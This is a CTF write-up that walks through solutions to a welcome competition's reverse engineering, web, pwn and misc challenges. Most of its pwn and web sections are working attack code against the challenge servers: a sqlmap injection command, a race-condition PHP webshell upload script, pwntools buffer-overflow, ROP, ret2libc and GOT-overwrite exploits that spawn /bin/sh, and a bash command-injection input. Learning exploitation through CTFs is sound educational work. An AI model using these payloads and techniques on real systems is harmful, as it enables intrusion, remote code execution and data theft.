'=') { uVar += data[(excerpt[i + 3] - 0x2b) * 4]; } buf[j] = (char) (uVar >> 16); if (excerpt[i + 2] != '=') { buf[j + 1] = (char) (uVar >> 8); } if (excerpt[i + 3] != '=') { buf[j + 2] = (char)uVar; } } if (strcmp(buf, "tokyo")) { puts("-- Failed check"); } free(buf); } int main() { const char* s = "dG9reW8=}"; Check6((char*)s); }
Flag: greyhats{2O2L2Y2M2P2I2C2S_IO_dG9reW8=}
Unsolved Reverse Engineering Challenges
Web: No Submit Security
I heard that my website is leaking some secret when a button is clicked, so I removed that button. I think it should be secure enough now.
http://challs1.welcomectf.tk:5217/
A quick look at the DOM reveals a bunch of hidden inputs within a form submitting to the same page as POST. Just change the input type to submit
and click the button for the flag to appear.
Flag: greyhats{5U8m1551O5_15_FRoM_tH3_CL13Nt_51d3}
Web: No Ketchup, Just Sauce
Building my ketchup startup at http://challs1.welcomectf.tk:5208/
Running through the site with dirb shows that robots.txt is present on the server. Visiting that reveals a file reborn.php. The page shows a form asking “what is my favorite ketchup?”, and the source hints at a backup file “<!– Version 2.2.3. Backup file contains version 2.2.2. –>”.
Visiting reborn.php.bak initiates a file download where we can see the source of the page, showing us the input is expecting “no ketchup, raw sauce — too many calories, not good”. Submit that to get the flag.
Flag: greyhats{n0_k3tchup_r4w_s4uc3_892e89h89e}
Web: Covid Tracker
I made a Covid Tracker to see track how many Covid cases are around. I’m hoping I get injected with the vaccine soon.
challs1.welcomectf.tk:5201
File
Two page website, starting with a login page. Using sqlmap, we are able to login via SQL Injection to the map page. We see the flag is present in the database from the distributed index.js, and sniffing the network requests to the API on the map page we can see the endpoint and the information it expects.
We perform another SQL Injection using sqlmap with the command (note the use of cookies to keep the session authorized):
sqlmap -u "http://challs1.welcomectf.tk:5201/api/locations" --method POST --data '{"search": "*"}' --level=5 --risk=3 --cookie="PHPSESSID=23a0be28eebeaf85d4e0d2d9d2e4d23c; arp_scroll_position=0; connect.sid=s%3AO9_GbTojtPj_J75v3cQ_zv36dzlD4Zqz.yNg8RgvP1SFN%2Fw1psYoRC%2FMih2MChA%2BPea96WIdmZbM" --headers="User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Edg/92.0.902.67\nReferer: http://challs1.welcomectf.tk:5201/covid.html\nOrigin: http://challs1.welcomectf.tk:5201\nContent-Type: application/json" --tables -T flag --dump
Flag: greyhats{w3bApp5_n33d_v@cc1ne?_4521f}
Web: Tiny File Hosting
People like large file hosting service, but I created a tiny file hosting service, hope you also like it =)
challs2.welcomectf.tk:5207
File
Visiting /upload shows the entirety of the code through highlight_file. We see 2 checks, one for file size (must be below 10 characters) and one for file extension. Files are randomly renamed after. This is quite daunting, as both checks aren’t easy to defeat even by themselves.
However, a flaw in the code is that the file size is checked first, and at that point it exists on the server, and then the file extension check is carried out. This exposes a TOCTOU vulnerability, meaning we can possibly intercept the file before the file extension check happens. Therefore, we flood the server with upload requests and quickly attempt to read.
For the file size, we send a very small echo ls command <?=`ls`;
which is about the only thing you can do with that limitation.
import requests import io import concurrent.futures from datetime import datetime, timedelta import time URL = 'http://challs1.welcomectf.tk:5207' file_name = 'z.php' with open('z.php', 'wb') as f: f.write(b'<?=`ls`;') def check(): r = requests.get(f'{URL}/upload/{file_name}').text #print(r) if '<title>404 Not Found</title>' in r: return print(r) def upload(): requests.post(f'{URL}/upload.php', files={ 'upload_file': open(file_name, 'rb') }, data={'submit': 'None'}, allow_redirects=False) with concurrent.futures.ThreadPoolExecutor(max_workers=12) as executor: while True: executor.submit(check) executor.submit(upload) executor.submit(check)
Eventually, this spits out a list of files through ls and tells us where the flag location is.
Flag: greyhats{h0vv_d1d_y0u_byp455_17?!?!}
Unsolved Web Challenges
Pwn: Flag Hunter
My friend said it is impossible to win this game. Time to prove him wrong 🙂
nc challs1.welcomectf.tk 5015
Solved by deces0. His writeup as follows:
Integer overflow.
- From practice, note that Guardian HP can overflow.
- Guardian has 80 HP and heals 4 HP per round
- Takes 12 rounds for overflow to occur
- Select Mage which has
Defense
skill - Cycle
Defense
Defense
Refresh
- If Guardian does not critical hit, takes 12 rounds to get killed
- But Guardian health overflows before death
Flag: greyhats{1nt3rger_OooOooverflow_in_3ss3nce}
Pwn: hexdump-bof
I wrote an hexdump converter service with my friend. He said that it looked very vulnerable, and volunteered to ‘fix’ it. I’m not quite sure he did …
Connect via
nc challs1.welcomectf.tk 5002
File
Running the program shows there is an inaccessible function at 0x4014dc called win
. Looking at the source code, we see that the win
function contains shell execution. Writing a random input to the program, it outputs the data.
reignofcomputer@Cosmos:~$ nc challs1.welcomectf.tk 5002 === HexDump Master === Prints the input back at you, in hexdump format, including some extra data... I wonder what that data is :) Btw, there is an inaccessible function at 0x4014dc (win). What will it do? Input: asd ---------------------------------------------------------------------------------------------------------------------------------------------------- contents | saved base ptr | return address ---------------------------------------------------------------------------------------------------------------------------------------------------- 61 73 64 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | f0 9d ce f7 fc 7f 00 00 | e9 15 40 00 00 00 00 00 ---------------------------------------------------------------------------------------------------------------------------------------------------- saved base pointer : 0x7ffcf7ce9df0 return address : 0x4015e9 Go again? (Y/N)
With this output we can see that the return address of the function is 0x4015e9. The contents show 61 73 64
, which represent our input asd
. 0a
represents the LF ASCII character. The buffer size is 0x20 which is equal to 32 bytes, but fgets
wants to retrieve up to 48 bytes of data. A simple check of placing 33 ‘F’ characters show that we have overridden the saved based pointer.
Input: FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF ---------------------------------------------------------------------------------------------------------------------------------------------------- contents | saved base ptr | return address ---------------------------------------------------------------------------------------------------------------------------------------------------- 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 | 46 0a 00 44 fc 7f 00 00 | e9 15 40 00 00 00 00 00 ---------------------------------------------------------------------------------------------------------------------------------------------------- saved base pointer : 0x7ffc44000a46 return address : 0x4015e9
With this knowledge, we exploit the buffer overflow to overwrite the return address, placing garbled text for the first 32 bytes, making the saved based pointer remain the same and replace the return address to point to the address at system("/bin/sh");
(i.e. 0x4014dc + 8 = 0x4014e4).From the output, we can see this is in little endian as the most significant byte is stored last. Therefore, we overwrite it by placing in \xe4\x14\x40
.
from pwn import * r = remote('challs1.welcomectf.tk', 5002) exploit_code = b'\x6c\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\xfe\xff\x5c\xe0\x70\x00\x00\xe4\x14\x40\x00\x00\x00\x00\x4e' exploit_code_one = 'FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF' r.sendline(exploit_code) r.interactive()
saved base pointer : 0x70e05cfffe7f return address : 0x4014e4 Go again? (Y/N) You entered: N $ cat flag.txt greyhats{b0f_m4d3_ezpz_345ff}$
Flag: greyhats{b0f_m4d3_ezpz_345ff}
Pwn: fetusrop
Begin your journey on return-oriented programming.
nc challs1.welcomectf.tk 5011
File
From the source code, it is clear we have to exploit the buffer overflow exploit in main
to return to win
with parameters a = 0xcafe
and b = 0x1337
. PIE and stack protector is off so we can simply override RIP
and call function addresses as there is no randomization.
Using objdump
, we can deduce that RIP
is 40 bytes from the buffer. Using ROPgadget
, we can find the following gadgets to pass a = 0xcafe
and b = 0x1337
into win
.
0x00000000004005f3 : pop rdi ; ret 0x00000000004005f1 : pop rsi ; pop r15 ; ret
From there, the solve script to call win
and achieve RCE is:
from pwn import * context.log_level = 'DEBUG' r = remote('challs1.welcomectf.tk', 5011) #elf = ELF('./fetusrop') #r = elf.process() r.sendline(b"a" * 40 + p64(0x00000000004005f3) + p64(0xcafe) + p64(0x00000000004005f1) + p64(0x1337) + p64(0) + p64(0x0000000000400537)) r.interactive()
Flag: greyhats{y0ur_pwn_j0urn3y_b3g1ns_982h89h}
Pwn: babyrop
You are ready for more return-oriented programming.
nc challs1.welcomectf.tk 5012
File
Again, there is a buffer overflow in main
and PIE and stack protector is off. However, we don’t have a conveniently placed win
function to use now. No worries, everything is already given to use here with global "/bin/sh"
string and system
function used.
Using objdump
, we can deduce that RIP
is 40 bytes from the buffer and "/bin/sh"
is located at 0x4006a4. Using ROPgadget
, we can find the following gadgets to pass "/bin/sh"
into system
.
0x0000000000400486 : ret - note: this is used to align the stack 0x0000000000400683 : pop rdi ; ret
From there, the solve script to call system
with "/bin/sh"
to achieve RCE is:
from pwn import * context.log_level = 'DEBUG' r = remote('challs1.welcomectf.tk', 5012) elf = ELF('babyrop') #r = elf.process() SHELL_PTR = 0x4006a4 POP_RDI = 0x0000000000400683 RET = 0x0000000000400486 r.recv() r.sendline(b'A' * 40 + p64(RET) + p64(POP_RDI) + p64(SHELL_PTR) + p64(elf.plt['system'])) r.interactive()
Flag: greyhats{4n_e4sy_0ne_f0r_y0u_82hhd2dh8dh}
Pwn: kidrop
I take away system, what can you do now?
nc challs1.welcomectf.tk 5013
File
There is a buffer overflow in vuln
and PIE and stack protector is off. However, we don’t have a conveniently placed system
function to use now. We shall then use puts
to leak the libc
library offset via printing out the puts
pointer in the global offset table, return to main
, overflow the buffer to call system
with binsh
string to achieve RCE.
As usual, using objdump
and ROPgadget
, we can find the offset and relevant addresses which are used in the exploit.
From there, the solve script to call system
with "/bin/sh"
to achieve RCE is:
from pwn import * context.log_level = 'DEBUG' r = remote('challs1.welcomectf.tk', 5013) elf = ELF('kidrop') #r = elf.process() POP_RDI = 0x0000000000401353 RET = 0x000000000040101a # Leak libc base r.recvuntil('How are you?\n') r.sendline(b'A' * 40 + p64(POP_RDI) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main'])) leak = r.recvuntil('\n')[:-1] leak = u64(leak.ljust(8, b'\x00')) print(hex(leak)) libc = ELF('libc.so.6') # Set libc base libc_base = leak - libc.symbols['puts'] libc.address = libc_base binsh = next(libc.search(b"/bin/sh")) system = libc.sym["system"] # Get shell r.recvuntil('How are you?\n') r.sendline(b'a' * 40 + p64(RET) + p64(POP_RDI) + p64(binsh) + p64(system)) r.interactive()
Flag: greyhats{g00d_j0b_d0ing_l1bc_l34k_2y389hd82}
Pwn: teenrop
PIE is enabled. It is harder. But aiken dueet.
nc challs1.nusgreyhats.org 5014
File
There is a buffer overflow in read_ull
and stack protector is off. Now PIE is enabled, which means we have to have a leak in order to find out what is the program’s base address. We also have to do a ret2libc like in teenrop.
We are able to read stack values because the size of value
is not checked, so it is easy to find out which offset leaks the address of the main
function by some trial and error. We know that it is the same address because the last 3 hex chars are not changed. We found that the offset is 25. From there, we can calculate the program’s base address and we are able to ROP by adding address of gadgets to the base, do ret2libc and achieve RCE.
As usual, using objdump
and ROPgadget
, we can find the offset and relevant addresses which are used in the exploit.
From there, the solve script to call system with "/bin/sh"
to achieve RCE is:
from pwn import * from time import sleep context.log_level = 'DEBUG' r = remote('challs1.nusgreyhats.org', 5014) # Leak main function addr ptr r.recvuntil('Choice: ') r.sendline('2') r.sendline('25') # 25 to leak main r.recvuntil('Value: ') main_leak = int(r.recvuntil("\n")[:-1].decode()) print(f'{hex(int(main_leak))}') elf = ELF('./teenrop') elf.address = main_leak - elf.sym['main'] print('binary base is ', hex(elf.address)) RET = 0x101a + elf.address POPRDI = 0x1453 + elf.address print(hex(RET), hex(POPRDI), hex(elf.symbols['read_ull'])) payload = b'A' * (0x20 + 8) + p64(RET) + p64(POPRDI) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['read_ull']) r.recvuntil('Choice: ') r.sendline(payload) libc_leak = r.recvuntil('\n')[:-1] # remove newline char libc_leak = u64(libc_leak.ljust(8, b'\x00')) print(hex(libc_leak)) # Set libc offset libc = ELF('libc.so.6') libc.address = libc_leak - libc.symbols['puts'] print(hex(libc.address)) binsh = next(libc.search(b'/bin/sh')) system = libc.sym['system'] # Time to get shell payload = b'A' * (0x20 + 8) + p64(POPRDI) + p64(binsh) + p64(system) r.sendline(payload) r.interactive()
Flag: greyhats{y0u_4r3_g3tt1ng_g00d_4t_th1s_983u49r}
Pwn: Distinct
I made a program to check if a list of numbers is distinct by sorting them then iterating over them! Genius, right?! Except the sort looks off …
nc challs1.welcomectf.tk 5000
File
Here we have a program that sorts values we input. However, there is an off-by-one error in the sort
function which checks and shifts 1 value more than it should. Also, note that the array it is modifying and the function pointer that is called on each try are next to each other. In other words, we can exploit the sort
function by overwriting the function pointer to point to win
function that is conveniently created for us which will then be executed iff inputs are in sorted order.
Doing a checksec
on the binary given:
reignofcomputer@Cosmos:/mnt/d/WelcomeCTF/dist-distinct$ checksec ./distinct.o [*] '/mnt/d/WelcomeCTF/dist-distinct/distinct.o' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
PIE is enabled, so we have to leak the program base as well. We can do this by submitting values larger than the value in the function pointer. 263 = 9223372036854775808 is a good bet here. The sorted order will be displayed back to us and the smallest value is the function pointer.
Here were the relevant inputs to get the flag:
reignofcomputer@Cosmos:~$ nc challs1.welcomectf.tk 5000 #0: 9223372036854775808 #1: 9223372036854775808 #2: 9223372036854775808 #3: 9223372036854775808 #4: 9223372036854775808 #5: 9223372036854775808 #6: 9223372036854775808 #7: 9223372036854775808 #8: 9223372036854775808 #9: 9223372036854775808 #10: 9223372036854775808 #11: 9223372036854775808 #12: 9223372036854775808 #13: 9223372036854775808 #14: 9223372036854775808 #15: 9223372036854775808 You have entered: 93931409286013 9223372036854775808 9223372036854775808 9223372036854775808 9223372036854775808 9223372036854775808 9223372036854775808 9223372036854775808 9223372036854775808 9223372036854775808 9223372036854775808 9223372036854775808 9223372036854775808 9223372036854775808 9223372036854775808 9223372036854775808 <-- 93931409286013 is the address of the `unique` function! Therefore the program base is 93931409286013 - 0x137d = 93931409281024 Now we know that the win function is at 93931409281024 + 0x1594 = 93931409286548 Submit that and make it the largest valued input to make the function pointer point to `win`. --> Enter Again? (Y/N) Y #0: 0 #1: 1 #2: 2 #3: 3 #4: 4 #5: 5 #6: 6 #7: 7 #8: 8 #9: 9 #10: 10 #11: 11 #12: 12 #13: 13 #14: 14 #15: 93931409286548 You have entered: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 93931409286013 Enter Again? (Y/N) N ls flag.txt run cat flag.txt greyhats{shUfFl3_tHe_Funt1on_pTr_oUt_5581d}
Flag: greyhats{shUfFl3_tHe_Funt1on_pTr_oUt_5581d}
Pwn: Notepad–
Ah, I love menu driven 64-bit notepad programs, I can cram so much content into them! Including flaws …
nc challs1.nusgreyhats.org 5001
File
Doing a checksec
on the binary given:
reignofcomputer@Cosmos:/mnt/d/WelcomeCTF/dist-notepad$ checksec ./notepad.o [*] '/mnt/d/WelcomeCTF/dist-notepad/notepad.o' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
There is no RELRO protection meaning we can override GOT entries.
The vulnerability in this application is that the get_note
function only checks if the index provided is greater than 10, but does not check for negative input. notes
is found just above the global offset table entries so we can use this function to modify their values.
We can leak printf
GOT address by viewing the note with -4 index which helps us calculate the libc offset.
Then, we can achieve RCE in the view_note
function as it contains puts(note->name)
. We can overwrite the puts GT pointer with system
‘s and make it read a note with the string /bin/sh
in it, which is possible because we have full control over what notes are stored. The puts pointer can be overwritten at the -5 index with some padding.
We can find the relevant indexes with the help of GDB. From there, the solve script to call system
with "/bin/sh"
to achieve RCE is:
from pwn import * context.log_level = 'DEBUG' r = remote('challs1.nusgreyhats.org', 5001) #elf = ELF('./notepad.o'); r = elf.process(); pause() # Leak libc base r.recvuntil('> ') r.sendline('2') r.recvuntil('Index: ') r.sendline('-4') r.recvuntil('Name: ') # First is printf leak = r.recvuntil('\n')[:-1] leak = u64(leak.ljust(8, b'\x00')) print(f'printf is at {hex(leak)}') libc = ELF('libc.so.6') # Set libc base libc_base = leak - libc.symbols['printf'] libc.address = libc_base # Add /bin/sh into an index r.recvuntil('> ') r.sendline('1') r.recvuntil('Index: ') r.sendline('0') r.recvuntil('Name: ') r.sendline('/bin/sh') r.recvuntil('Content: ') r.sendline('') # Overwrite puts got entry to that of system's r.recvuntil('> ') r.sendline('1') r.recvuntil('Index: ') r.sendline('-5') r.recvuntil('Name: ') r.sendline('') r.recvuntil('Content: ') r.sendline(b'\x00' * 16 + p64(libc.sym['system'])) # View note and call puts (now system) on /bin/sh r.recvuntil('> ') r.sendline('2') r.recvuntil('Index: ') r.sendline('0') r.interactive()
Flag: greyhats{y_s0_-v3_56w81}
Unsolved Pwn Challenges
Miscellaneous: Sanity Check
Free flag for everyone! greyhats{are_you_ready_for_online_classes}
Join us on discord: https://discord.gg/7gZj43jH
Doh.
Flag: greyhats{are_you_ready_for_online_classes}
Miscellaneous: Reading the Channel
There is a flag hidden in the discord channel, I wonder where it is?
Flag formats are in the form greyhats{…} unless otherwise stated
https://discord.gg/7gZj43jH
Just searched “greyhats{” in Discord.
Flag: greyhats{1_h4ve_read_da_rules_and_4gr33}
Miscellaneous: Strings
What is a string?
File
Just use strings and grep.
reignofcomputer@Cosmos:/mnt/d/WelcomeCTF$ strings greycat.jpg | grep "greyhats{" qgreyhats{W4y2_T0_H1De_1nf0rm4t10N}
Flag: greyhats{W4y2_T0_H1De_1nf0rm4t10N}
Miscellaneous: Bash Injection
Did you manage to log in?
nc challs1.welcomectf.tk 5401
Attempting to netcat in results in:
reignofcomputer@Cosmos:~$ nc challs1.welcomectf.tk 5401 Username: a Password: b [exe] -> bash -c './login.sh "a" "b"' [out] -> Invalid username.
We can see how bash is trying to run our inputs. When we pass in some quotes into the fields, we can break out of the command and perform other commands.
reignofcomputer@Cosmos:~$ nc challs1.welcomectf.tk 5401 Username: a Password: " | grep -nr "grey" . | grep "grey [exe] -> bash -c './login.sh "a" "" | grep -nr "grey" . | grep "grey"' [out] -> ./login.sh:8: printf 'Login complete: greyhats{86sh_1n73ct10n_y6333}'
Flag: greyhats{86sh_1n73ct10n_y6333}
Miscellaneous: Smoke and Mirrors
A binary file – flag – has been hidden in image.png via LSB-Steganography! It is known that flag is 11,392 bytes large. Also, the file is spread across the first N pixels of the image when traversing in row-major order.
Can you recover the executable and uncover the flag?
File
Solved by deces0. His writeup as follows:
Google for Steganography solvers and we have:
zsteg image.png -E b1,r,lsb,xy > a.out && ./a.out
To hide information with plausible deniability, just password protect your data.
Flag: greyhats{m0r3_th6n_m33t5_the_3y3_189794872}
Leave a Comment